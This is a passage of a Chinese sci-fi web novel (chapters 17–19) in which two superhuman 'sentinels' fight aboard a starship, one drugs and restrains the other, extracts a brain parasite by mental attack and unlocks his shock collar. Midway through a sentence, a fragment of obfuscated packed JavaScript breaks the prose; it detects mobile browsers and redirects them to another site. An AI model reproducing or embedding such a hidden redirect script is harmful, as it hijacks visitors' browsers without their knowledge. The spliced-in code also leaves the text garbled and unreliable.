“向导与哨兵的绑定来源自蝎族的标记仪式,蝎后用尾勾将自己的信息素注入新生的雄性兵蝎身上去支配她的族群,因为她畏惧过于强大的族裔终有一天会推翻她的统治,信息素会改变雄蝎的思维,让它们无法违背蝎后的命令——人类向导没有信息素,只能通过在哨兵的精神域建立锚点来和哨兵进行永久的精神连接。” “无论是绑定还是标记,都是一种原始的支配手段,被绑定的哨兵将成为向导的附属品,不再具有独立的人权……塞拉斯,现在,你还想要和我绑定吗?” 想啊……五号心想。 我想要成为你最宠爱的战斗人偶……被你支配,被你珍视,被你重用。 但他没有说出来,因为他知道男人说出口的决定不会改变。 “那你可不能去偷偷标记其他人,你要对我们一视同仁。” “我从不食言。”男人垂下手,“那你呢?你会宣誓对我永远忠诚吗,我的哨兵?” “当然。”少年从位置上站起来,转过身,举起手,对着穿着军装的长官行了个标准的军礼,“塞拉斯永远听从你的指挥,元帅大人。” “是吗?” 黑色军装帽沿下方,那双冷蓝色的眼眸露出几分别样的审视。 “既然如此,那你又为什么要向蝎后屈服呢?” 17.被咬了 五号脸上闪过一丝疑惑,“你在说什么?” “我说,你为什么要帮助蝎族侵占银叶星?” “道恩……”五号看着面前的男人,对方锐利的目光如同冰刺一般扎得他大脑后方一阵阵作痛。 他试图理解并思索这个问题的答案。 “才不是这样,我去银叶星,是因为……呃……”他捂住自己跳动的太阳穴。 “因为银叶星有……” 神经突触上的寄生蝎忽然蠕动了一下,尾勾的囊腺膨胀发红,对着哨兵的大脑发出一阵强烈的精神脉冲。 “唔哼!” 如同抛入河中的石头,原本平静的回忆泛起涟漪,强烈的精神波动让五号捂住了脑袋,他后退几步,撞到了梳妆台上,抬起头看向那站在身前的穿着军服的男人。 “你是……谁?” 男人没有回答,只是居高临下地俯瞰着他,那张有着岁月沉淀痕迹的成熟面庞依然是他熟悉的模样,但眼神中的探究却令五号感到不安起来。 “你不是道恩·雷蒙德,你不是他……你是,零号!” 五号倏尔睁开眼,意识从梦境回到现实,他挺起身想从驾驶座上站起,却又因为椅背之后束缚着双手的沉重镣铐跌坐回了座位上。 “不用白费力气,你挣脱不了这幅引力手铐,我替你试过了。” 一道和记忆里的那个男人很是肖似的声音从他头顶响起。 五号抬起头,看着抱着双臂倚靠在操作台上的银发青年,后知后觉地意识到自己中了暗算。 “你对我做了什么?” “你指的是什么?”沈莫玄反问,“给你的营养液加了料?” “……”五号的脑海有些混乱,“你……” 他皱了皱眉,不确定刚刚只是一个简单的梦还是对方入侵自己的意识后构建出的场景。 “你是不是……” “哥哥,前方经过陨石区,飞船能量护盾已经打开,但依然可能会出现颠簸,请您小心哦。” 广播中响起的清亮少年音打断了五号的话。 “你入侵了我的星舰?”五号警醒过来,质问身旁的银发青年。 沈莫玄瞥了他一眼,“不止。” “什么……” “我还偷走了你的机甲。”沈莫玄举起缠绕手中的一条黑绳,绳子末端,一枚镶嵌着紫色晶石的十字架吊坠分外惹眼。 五号这才意识自己左耳少了些垂坠感,他挣扎着直起身体。 “把夜魇还给我!” 他试图用精神力唤醒自己的机甲,但不知为什么,夜魇就好像没有感应到他的精神波动一般,始终没有回应他。 沈莫玄无视五号口中不停歇的咒骂,将那黑绳挂在了脖子上,然后拿起操作台上一包被装在食品袋中的液体。 为了防止太空中出现失重的情况导致食物洒出,所有的液态食品都被密封在这种吸吸果冻一样的银色包装袋里,而以液态保存的强力催眠剂也是如此。 五号一下子就就理清了自己刚刚突然犯困的原委——这狡猾的哨兵居然入侵了他的工作机器人,把强力催眠剂加到了他的营养液里,幸好他刚才只是喝了一口,否则恐怕这会儿被人杀了都不知道。 “你太吵了,再睡一会儿吧。”银发青年走到五号的驾驶座身后,强硬地抬起了他的下颚,用虎口强行扳开了他的嘴,另一只手挤压着食品袋中的催眠剂,令里面的液体垂直流出。 冰冷粘稠的液体被倾倒入喉中,五号拧着眉,侧开头想要避让却被钳制,只能奋力收缩喉咙抵抗,漫出口角的药剂顺着他的下颚流入脖颈,浸润了颈部黑色的金属抑制环。 “咳咳……放开我,无耻的家伙!”五号将身后的引力镣铐挣得哐哐作响,呛入气管的液体让他咳嗽不止,胸膛不住起伏。 滴滴滴—— 飞船上响起了警报。 防护玻璃外,飞船已经驶入陨石区,坚硬的陨石撞击在护盾之上,让飞船开始颠簸起来。 也就是在沈莫玄扭头去看的同时,五号以一种惊人的柔韧性扭曲肩膀和腰脊,抬起脚尖挑起了被银发青年收缴后放在了远处操作台的匕首。 匕首在空中划出一道完美的弧线,落入五号张开的手掌当中,被其反握在手中,然后心狠手辣地用力切断了自己的左手手腕。 在嗅到血腥味的第一时间,沈莫玄便凭借第六感往身侧一避,下一秒染着鲜血的锐利刀面划过他的侧颊,将几缕耳际的银色发丝切断。 飞船一个大幅度的倾倒,所有没固定在地面上的东西都开始朝着另一侧滑去,包括一截血糊糊的断手。 沈莫玄避开刺到自己面前的匕首,刚才的空隙没有充足的时间让五号将右手从引力镣铐中挣脱,这让他的动作有些迟滞。 但五号的左手正在以肉眼可见的速度飞快地长出来。 二十年不见,他的再生能力已经变得非同一般了。 见面前的银发青年将目光落在自己的手腕上,五号冷笑一声,将右手的匕首抛到左手,然后眼也不眨地用同样的方式割断了自己的右手。 刀起手落,沉重的引力手铐和一截血淋淋的断手咣当一声砸在地上,朝着另一侧滑去。 而比它移动更快的是袭来的紫眸哨兵。 沈莫玄避开刺来的匕首,反抓住五号的手臂,一个过肩摔将他砸到了地上。五号发出一声痛呼,反抬起双腿夹住他的脖颈,借力想要去刺他的眼睛。 锋利的匕首刃面往上极速逼近,在末端距离那寒冰般的沉冷蓝眸只差一厘的瞬间停滞。 持匕的手腕被一把抓住,五号眼中闪过一丝锐意,手臂的肌肉绷紧到了极致,但即便他使出了全身的力气,依然无法避免那把匕首正在被缓缓调转方向,朝向他自己的脖子。 该死……这家伙……力气怎么这么大…… 眼看用匕首搞突袭已经不可能,五号当机立断地松开手指任由匕首垂直坠落,然后反拧过身体朝着青年胸口的十字架项链够去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778823|173545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 失去了哨兵力量加持的匕首在地上弹动了一下,正巧飞船在陨石冲撞下再次颠倒,两人抱成一团滚到了飞船的另一侧,撞进了杂物堆里。 被五号的双腿卡住脖颈的沈莫玄神情未变,腰腹蓦然发力,单肩扛着五号从地上翻身而起,以他为盾往墙上撞去。 “呃!” 脊背狠狠砸到了坚硬的墙面上,五号发出一声闷哼,指尖还没触碰到零号哨兵胸口的辉耀结晶就被人抓住用力往上一扳。 咔嚓—— 只听见骨骼断裂的声音响起,撕裂神经的疼痛传递到脑海,五号神色当中多出了一丝狠戾,看着面前哨兵冷峻的面孔,恶向胆边生,张开口狠狠咬住了他坚实的肩膀。 左肩传来一阵钝痛,沈莫玄的表情终于发生了一丝轻微的变化,他抓住五号身后的长发,将他的侧额狠狠砸到墙体上。 咚! 合金墙壁被哨兵的头骨撞击地凹陷下去,五号隐忍地闷哼了一声,却愣是牙关死锁,没有丝毫松嘴。 沈莫玄眉头微拧,反手用拇指抵住五号的颈动脉窦用力摁下。 连接大脑的主动脉被控,血液无法流通,濒死的感受让五号的心跳速度不减反增,他的呼吸变得愈发急促,血脉偾张,双眼微微上翻,陷入了因大脑缺氧而导致的眩晕状态。 缺氧让视野边缘开始发黑,过量分泌的肾上腺素让五号感受不到肌肉酸痛,但他的咬肌却已然开始痉挛起来。 就在他泄力的同时,沈莫玄猛然发力,将他强行撕开,甩飞了出去。 五号的身体被掀飞十几米远,砰的一声砸穿了驾驶舱内的三层合金置物架,直至撞到驾驶舱另一侧墙面,又反弹到地上,才停下来。 星图上出现的陨石障碍物越来越少,随着星舰远离陨石区,舰体的倾斜角度逐渐变小,重新回归平稳。 而此刻驾驶舱里已经一片狼藉,凹陷的墙壁,裂开的地面,倒塌的座位……哨兵和哨兵之间的战斗造成的伤害即便是这些加固过的特殊材料也无法承受。 温热的液体顺着手臂留下,沈莫玄偏过头看了眼自己的肩膀,狱服的布料被撕裂了一个大口,五号下口毫不留情,在他肩上留下了一圈深可见骨的咬痕,若不是他刚刚反应及时,恐怕要被他连血带肉咬掉一块。 驾驶舱室当中的血腥味越来越浓了,紫罗兰和雪松两种错季的信息素逐渐融合在一起,像是冬去春来,冰雪交融的清幽森林,和谐得出乎意料。 “真是粗鲁啊……零号前辈。” 五号从地上缓缓起身,呸地一声吐出口中的狱服布料,伸出猩红的舌尖舐走唇角的血痕,断裂的手腕在喀嚓声间恢复如初。 他的嘴角沾染着鲜血,发丝凌乱,紫红色的双眼满是偏执阴鸷,看起来就像是地狱里爬上来的厉鬼。 “不过……你的血很甜美,感谢款待。” 说罢,他举起趁乱从地上拿到的抑制环控制器,染血的唇角微微勾起,毫不犹豫地按下控制器上的红色按钮。 18.无麻开颅 摁下按钮的五号洋洋得意,正准备欣赏面前的银发哨兵被高压电惩戒的表情,意料之外的事情却发生了。 强烈的电流从脖颈上迸发出来,转瞬麻痹了全身。 五号暗道一声不妙,倒在了地上。 “……怎么……呃……可能……” 他被电流刺激得浑身颤抖,根本说不出完整的句子。 控制器滚落在一旁,被人拾起。 “我就知道你会这样做,所以提前改写了你的控制器,把它接到了你的颈环上。”沈莫玄打量着手中的控制器。 “你……” 五号双眼通红,但高压电流和强力催眠剂的双重作用让他的身体软得就像是在沸水中的泥鳅,只有在地上扭来扭去的份儿。 “不……不要电了!”他的语气变得软了下来,像是求饶,“前辈……呃……我投降,请关掉它,我怕疼……” 沈莫玄面无表情地看着故作柔弱的五号哨兵。 别人他不知道,但塞拉斯……裂殖血蝎浑身上下唯一的弱点就是它脖颈的生|殖节,只要不是从生|殖节对半砍就不会死,不过就是被电几下而已,又不是掉了脑袋,还远不到塞拉斯的极限。 这样想着,他不仅没有停下,反倒把控制器推到了最高档。 “呜……嗬嗬!疼!你……啊啊啊该死……的混蛋!”五号双手用力抠住自己的颈环,撑起双腿,脖颈和额头青筋暴起,脸色惨白,像一条搁浅的鱼一样在地面上拼死弹动。 他平时惯会逢场作戏虚以委蛇,是以他的向导也从没有用颈环惩罚过他,这还是头一次吃到抑制环的苦头。 想不到这东西……这么厉害…… 该不会零号想要就这么电死他吧? 五号在满眼雪花片的混乱中一边用各种恶毒词汇诅咒零号一边想着。 足足一分钟,颈环的电流才停下。 五号已经接近休克,瘫倒在地上,只有身体还在随着惯性抽搐着,眼神涣散而又无神。 他眼睁睁看着零号来到他的面前,歪着头打量了他一番。 “已经长在一起了……是因为时间比较长的缘故吗?” “什……什么?” 五号看着青年脱下身上的狱服,脸色有些呆滞。 “你……要干什么?” 哨兵的身体健美坚实,宽肩窄腰,如同雕塑般完美,就连肩膀上染血的伤口看上去都是那样符合暴力美学。 他该不会是想要…… 五号正发散思维想着,就见零号将衣物团成一团塞进了他的嘴里。 浓郁的雪松信息素顿时充满鼻腔,五号瞪大双眼,看着青年将手指比在唇上,对着他做了一个嘘的动作,然后单手将虎口覆在了他的双目之上,挡住了他的视野。 “……” 五号心中顿时升起一股强烈的不祥预感。 没有丝毫预警,强烈的疼痛突然席卷脑海。 受到攻击的寄生蝎开始朝着宿主发出警告。 “呜——” 濒临死亡的通感传递到五号身上,他抬起双手用力抓住了零号的手臂想要挣脱他的束缚,但银发哨兵的手就如同铁钳一样将他的脑袋牢牢摁在了地上,五号几次挺身都没能挣脱,只能在主宰神经蝎的尖啸着中奋力踢动双腿。 “唔唔唔!!!”放开我! 这是精神攻击!至少也是S级的精神攻击! 没有谁比五号更熟悉亚人的身体构造,亚人的一半基因来自雄性蝎族,他们体能惊人,天赋异禀,具有从父体继承的特殊能力——有的可以飞檐走壁,有的可以手撕钢铁,有的可以快速自愈。 亚人的精神力呈云状,可以辐射到周围,从而增强五感,让他们更敏锐地感知四周的敌人。 但他们却天然没有任何精神攻击能力。 这个世界上只有两种存在具有精神攻击能力。 第一种是蝎族中万里挑一的雌蝎,这种蝎子要么一出生就被拥立为王,接受严密保护,要么一出生就被现任的蝎后发现,然后被蝎后的族群疯狂攻击,直到死亡。 另外一种则是人类精神觉醒者,也就是所谓的向导,在亚人还没出现之前因为长期在太空驾驶机甲战斗而发生了精神力异变的极少数人群,其中代表人物就是“战神”道恩·雷蒙德。 已知零号绝不可能是人类,难道他是雌蝎的基因携带者? 雌蝎弱不禁风的,连移动都困难……就凭零号刚刚把自己砌进墙里揍的动作,他也不可能是和雌蝎基因融合的亚人吧。 五号的大脑一片混乱,但他很快就没有思考的余力了,因为沈莫玄的精神触丝已经锁定了他脑内的主宰神经蝎,正对它发起集中攻击,五号脑内的主宰神经蝎没有任何还手之地,不想被击碎,就只能往宿主体外逃窜。 可是它在五号大脑里寄生的时间太久,身体吸饱了养分,体形已经大了不少,尾部更是已经和哨兵的脑神经连接在了一起,要想分开又谈何容易。 “唔!!!” 叫喊的声调变得越来越高,大脑像被放入搅拌机切碎一般剧痛,五号的耳道溢出鲜红的血,指尖掐进了沈莫玄的手臂当中,牙齿死死咬住了口中的那团狱服。 疼死了! 如果切断手腕的疼痛是三级,那现在五号的疼痛等级恐怕已经到达了十级,即便是耐痛如他也已经到了吃不消的程度。 令人可气的是,面前的敌人不会像元帅一样让他窝在那宽广伟大的怀里安慰他,只会用衣服堵住他的嘴,把他的脑袋摁在地上用冷言冷语讽刺他: “早知道分离的时候会这么痛苦,当初为什么要让这种恶心的东西爬进你的脑子里呢?” 当然是因为当初就没想过要把它拿出来了你这个混蛋! 五号两眼一翻,晕了过去。 …… 到底是从小抗伤害到大的血盾型哨兵,只是失去意识没过一会儿,五号又自己清醒了。 哨兵的指尖颤了颤,发出一声痛吟,双眼缓缓睁开。 口中的衣物不知道什么时候已经被人取走,只有下颌骨的酸痛证明刚才那堪比酷刑的一场“无麻精神力开颅手术”并非幻觉。 身上的战斗服已经被冷汗浸透,紧紧贴在身上,很是不适。 左耳湿湿的,好像有什么东西在往外流,连带侧颊和头发上也是黏答答的。 闻起来一股铁锈味,大概是他自己的血吧。 五号动了动手指,想要支撑自己从地上爬起来,可因为精疲力竭,体力透支,此刻已经完全动弹不得了。 “哥哥,你的伤 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将酒精倾倒在伤口上的青年面色不变,拿起绷带用嘴咬住一端替自己包扎。他的动作娴熟,用的是标准的军用应急包扎手法,将绷带从左肩的伤口沿着后背斜绕到右侧腰部,然后穿过胸口回到左肩,如是绕了几圈,最后系结固定,这样既不影响行动,也不会因为在战斗中大幅度的动作导致绷带移位。 “哥哥,你饿了没有?我替你拿了营养液,有荔枝味的,苹果味的,还有草莓味的,你要哪一种?”小机器人转了半圈,打开身后第二个腹舱。 “都可以。”处理好伤口的沈莫玄随手拿了一袋营养液,“谢谢。” “不用谢,这都是我应该做的。”小机器人屏幕上出现了一个微笑的表情。 这贱嗖嗖的虚伪表情,无耻卖萌的夹子音……他就说为什么手无寸铁的零号能够破解他的星舰中控系统防火墙,原来有个不是人的东西里应外合啊…… “白泽……你这个双标AI!”在地上躺尸的五号唇角抽动,有气无力地说道,“……为什么他就有这么多好吃的口味选择,我就只有苦瓜味!?” “你是谁呀?你也配和哥哥相提并论。”小机器人转过来,用脆生生的童音说着。 “他是你哥哥吗?他不过就是个克隆体!” “哼,我不和傻子说话。”小机器人转了半圈,重新面向驾驶座上的银发青年,看着他脚边那被团成一团的蓝白狱服。 那狱服经过一场激烈战斗已经被撕得不成样子,上面还沾染了血迹和五号口中的涎液,看起来湿乎乎的,很明显是不能再穿了。 “哥哥,我去给你重新找一套新衣服。” 白泽操控着小机器人往门外走,行驶到在地上躺尸的哨兵面前,轮子往前碾了碾,没越过去。 “闪开,你挡到我的路线了。”AI的语气一下子低了一个八度。 五号都被它气笑了,“喂,你是没长眼睛还是没有轮子?不会绕着我走?” “啧,真麻烦。”小机器人滚动着小轮子绕开地上的大型障碍物。 “你入侵我的家用机器人系统我都还没和你算账呢!” “你的家用机器人也不喜欢你,只是懒得和你计较而已,如果是我,早就在你的营养剂里下毒了。” 白泽轻飘飘地丢下一句,操控着机器人飘远了。 死兄控,无论哪个都是一个样! 五号心中愤懑不平,不知哪来的力气,对着小机器人的背影颤巍巍地竖起了自己的中指。 19.解锁颈环 过了好一会儿,五号终于恢复了一些力气,从地上爬起来,像是没骨头一样地懒散地靠在墙上。 他看着背对着他坐在驾驶座上的银发青年和被他随手放置在操作台上的抑制环控制器目光闪烁。 在那控制器旁,还放着一根透明的密封玻璃管。 玻璃管里,一只有他的食指那么长的黑色蝎子正静静趴着,不知是死是活。 蝎尾上犹连着一条长长的血丝。 五号懒得去想那条血丝是从哪里带出来的了。 “你是怎么做到的?” “……”无人回应。 “你是怎么做到对我发动精神攻击的?”五号锲而不舍地追问。 “我刚刚做的那个梦,是你搞的鬼?” “你是不是知道我的名字?” 他一连串问了好几个问题,但得来的只是银发青年的冷淡一瞥。 “……不想再喝催眠剂的话,就闭上你的嘴。” 五号的目光落到了青年脖颈那个黑色的金属颈环上,目光一闪。 “飞船还有没一会儿就会着陆了,我已经答应了二号一落地就会通知他,如果他没接到消息,会怀疑的。” “你脖子上的抑制环是从他那儿拿来的,你就不担心他那里会有远程控制器?” 沈莫玄松开操纵杆,将飞船交由白泽托管,然后转过椅子,沉默着看向身后的五号。 “你终于害怕了?”五号似笑非笑地勾起嘴角,“想知道解开颈环的密钥,那就先回答我刚刚的问题。” 银发青年解开安全带从驾驶座站起来,走到五号面前。 他高大的身影挡住了头顶的灯光,将倚坐在墙壁的长发哨兵笼进了一片阴影里。 五号仰起头。 淡淡的血腥味从零号肩上的绷带下方传来,夹杂着那股清冽的雪松信息素的味道。 他的皮肤白得就好像是石膏雕刻出来的雕塑艺术品。那枚以往与自己形影不离的紫色十字架吊坠此刻正安静地躺在青年的胸膛中央,可五号的视线却控制不住地偏离十字架,落到更远的位置。 染血的绷带,强壮的肌肉,颀长的肢体,冷淡的体香……强大而脆弱,美丽而残暴,几种自相矛盾的气质在零号哨兵的身上糅合在一起,却不见丝毫违和。 “你想听到什么样的答案?” 在灯光笼罩不到的地方,银发哨兵的蓝色双眸变得如潭水般深邃。 “无论我说什么,你在心里早已有了答案,不是吗……塞拉斯?” 贴着墙壁,五号屏住呼吸,缓缓地站起身,紫罗兰色的双眸一眨不眨地看着面前的银发哨兵,像是想要从那张俊美年轻的面庞中捕捉到一些熟悉的影子。 许许多多的猜测,希冀,怀疑,犹豫,像是气泡一样从心底冒出来。 五号张了张口。 “这是你刚刚从我的梦里听见的对不对?” “……”沈莫玄面无表情地看着他。 “你到底是怎么侵入我的大脑的?”五号质问三连,“和你融合的是什么蝎族?难道是什么有精神攻击能力的特殊蝎子?” 他随即又嘲讽般挑起嘴角,“既然你有这样的天赋,为什么不干脆进入我的大脑,自己找颈环的密码——呃!” 脖颈被猛地摁住,零号单臂发力将他从地上提起,抵在了墙上,身体力行地实现了他的愿望。 五号清晰地看见面前的银发哨兵的双眸亮起了幽幽的光芒,就像是夜晚深海中漂浮的藻类发出的荧光般波诡云谲。 这个光芒……和道恩发动精神能力的时候一样…… 他的眼睫颤了颤。 “密钥是什么?”耳旁响起了青年的提问。 五号的身体抵触着,却不由自主地张开口。 “……密钥……是……我的生日。” “几位数?” “唔……六位。” 沈莫玄定定看了他几秒,抬起手伸向自己的颈环后方,打开内嵌在下方的物理按键,依次输入了六个数字。 滴滴滴—— 密码错误,红光从颈环身上亮起,激烈的电流从脖颈蔓延到青年的手臂,又从他的身体传递到和他肌肤相触的五号身上。 “唔嗯!” 五号闷哼了一声,抽搐着身体,眼看就要在窒息与电流的双重刺激中再次昏厥,扼住他脖颈的手掌却忽然松开,他顺着墙壁滑落在地,剧烈咳嗽了几声,撑着地面急促地喘-息,等到视线恢复正常,才抬起头,望向撑着墙壁站在他面前的零号。 银发青年用没有受伤的那只手臂撑着墙壁,肩膀的绷带嵌入紧绷的肌肉当中,脸色看起来似乎有些苍白,闭着眼平复略微混乱的气息,看来也因为刚才的电流受到了一些影响。 五号怔怔看着他。 零号输入密码的动作很果决,几乎没有任何思考和犹豫。 他知道自己的生日。 不可能吧…… 五号忽然觉得眼眶发热,偏过头,看着一侧的地面,干笑了几声,像是在讽刺自己不切实际的幻想。 听见他的笑声,刚从电击当中恢复过来的沈莫玄缓缓放下手臂,用比平常更为沙哑的声音说道。 “你真的以为我不会杀你?” “……刚刚你是对我用了精神暗示吧?”五号贴着墙,慢慢直起身,凑到银发青年面前,语气却不知为何产生了一些微妙的变化。 他直勾勾地盯着面前的人。 “既然你用了精神暗示,我怎么可能对你说谎呢?但……你有没有想过,我根本不知道我的生日是哪天。” 沈莫玄眯了眯眼,眼中划过一丝思索。 五号是从实验室出生的,出生的时间只有当时参与实验的研究员知道,五号本人从来没过过自己的生日,正如他所说,他可能根本没有把他的生日是哪天放在心上。 但有个日子他一定会记得。 五号参加最终试炼的那天,是八月份的第一天。 位于南十字星雨 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作为向导,他的精神感知力远比搜救队的生命探测仪的扫描范围要广。 8月4日凌晨,五号被找到了。 当时他就站在一堆生着火的枯柴旁边,单手里拿着一截被烤得黢黑的手臂,往因为饥饿和负伤而奄奄一息的研究员嘴里塞,见对方抗拒不已,露出了很是不耐烦的表情。 “不就是烤焦了一点吗?吃啊!” 如果不是因为及时到来的道恩·雷蒙德阻止了他的行为,被强行投喂人肉的研究员可能会留下一生的阴影。 后续接受调查的时候,少年语气满不在乎。 “谁知道人类这么脆弱,稍微流点血,饿个两三天就要死了?他要是死了我的试炼不就失败了?都说吃什么补什么,他被咬了手臂,我就干脆烤一条手臂给他吃喽。” 后来被五号讨要名字的时候,道恩·雷蒙德总会想起那条被架在火上烤的手臂,于是一个名字脱口而出。 “塞拉斯(Sirius)。” 灼烧者。 是个适合五号的名字。 而很巧合的,那天正好也是8月5日。 五号所说的生日,是指他拥有了属于自己的名字的那天。 嘀—— 一记长音从颈环上方响起,环体中央亮起了一道绿色的细线,锁扣朝着两侧弹开,金属抑制环当啷一声落到了地上。 五号的嘴唇颤了颤,却没有发出任何声音。 他的视线一寸寸地扫过面前的哨兵那张年轻俊美的脸庞,直到这张脸和记忆中那个男人一比一重合一起。 那一刻,即便星球毁灭,宇宙爆炸,他也什么都顾及不到了。 因为,这二十年来他寤寐思服的人,此刻就站在他的面前。 鲜活地……站在他面前。 飞船的舷窗上掠过无数星辰,循环的星轨在漆黑天穹中划出璀璨光弧,宛若时空逆转,一切回到从前。